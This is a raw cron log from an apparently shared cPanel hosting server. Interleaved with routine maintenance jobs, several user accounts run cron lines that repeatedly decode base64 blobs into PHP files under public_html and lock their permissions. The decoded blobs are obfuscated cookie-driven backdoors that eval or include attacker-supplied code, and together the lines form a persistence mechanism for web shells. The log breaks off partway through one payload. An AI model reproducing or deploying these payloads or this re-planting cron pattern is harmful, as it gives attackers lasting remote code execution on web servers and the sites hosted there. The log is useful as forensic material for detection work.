Mar  2 03:24:01 medusa CROND[24471]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:24:01 medusa CROND[24483]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:24:01 medusa CROND[24484]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:24:01 medusa CROND[24485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:24:01 medusa CROND[24486]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:24:01 medusa CROND[24488]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:24:01 medusa CROND[24489]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:24:01 medusa CROND[24490]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:24:01 medusa CROND[24487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:25:01 medusa CROND[11826]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:25:01 medusa CROND[11836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:25:01 medusa CROND[11881]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:25:01 medusa CROND[12133]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:25:01 medusa CROND[12135]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:25:01 medusa CROND[12141]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:25:01 medusa CROND[12142]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:25:01 medusa CROND[12145]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:25:01 medusa CROND[12148]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:25:01 medusa CROND[12134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:25:01 medusa CROND[12153]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:25:01 medusa CROND[12154]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:25:01 medusa CROND[12156]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:25:01 medusa CROND[12150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:25:01 medusa CROND[12159]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:25:01 medusa CROND[12160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:25:01 medusa CROND[12157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:25:01 medusa CROND[12158]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:25:01 medusa CROND[12166]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:25:01 medusa CROND[12168]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:25:01 medusa CROND[12170]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:25:01 medusa CROND[12180]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:26:01 medusa CROND[575]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:26:01 medusa CROND[577]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:26:01 medusa CROND[578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:26:01 medusa CROND[579]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:26:01 medusa CROND[581]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:26:01 medusa CROND[588]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:26:01 medusa CROND[589]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:26:01 medusa CROND[590]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:26:01 medusa CROND[592]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:26:01 medusa CROND[595]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:26:01 medusa CROND[593]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZU